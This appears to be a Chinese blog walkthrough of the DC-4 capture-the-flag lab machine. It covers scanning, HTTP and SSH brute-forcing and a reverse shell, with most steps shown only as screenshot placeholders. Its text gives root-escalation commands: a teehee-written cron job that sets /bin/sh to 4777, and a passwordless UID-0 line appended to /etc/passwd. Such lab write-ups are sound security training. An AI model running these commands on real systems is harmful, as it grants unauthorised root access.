DC-4

DC-4

主机存活探测

image-20210311193132665

扫描

image-20210311193330395

访问80

image-20210311194217397

爆破http

image-20210311194743978

image-20210311194808747

http登陆

image-20210311194845018

抓包

image-20210311194914281

image-20210311194957820

可以执行系统命令

尝试反弹shell

image-20210311195335476

image-20210311195408652

返回交互式命令行

image-20210311195445868

另外途径

image-20210311200701374

看到三个用户,可以用来爆破

image-20210311200939540

image-20210311201132599

image-20210311202609141

制作字典

image-20210311202926741

ssh爆破

image-20210311203407715

登陆

var/mail看到charles的密码

image-20210311203812350

切换到charles

image-20210311203904544

teehee提权

操作过程如下:

1、echo root chmod 4777 /bin/sh > /etc/crontab
2、sudo teehee /etc/crontab,然后写入的内容:* * * * * root chmod 4777 /bin/sh
(时间部分全部填写为*,默认这个定时任务每分钟执行一次。通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。)
3、ls -la /bin/sh
4、/bin/sh

image-20210313210158008

添加一个admin账户,然后使用teehee执行直接写入 passwd中,然后切换为创建的admin用户

1、echo "test::0:0:::/bin/bash"
2、sudo teehee -a /etc/passwd
3、输入:test::0:0:::/bin/bash
4、然后ctrl+c退出,再su test切换用户,即可获得root权限

image-20210313210239490

posted @ 2021-03-13 21:04  木捏牛  阅读(96)  评论(0编辑  收藏  举报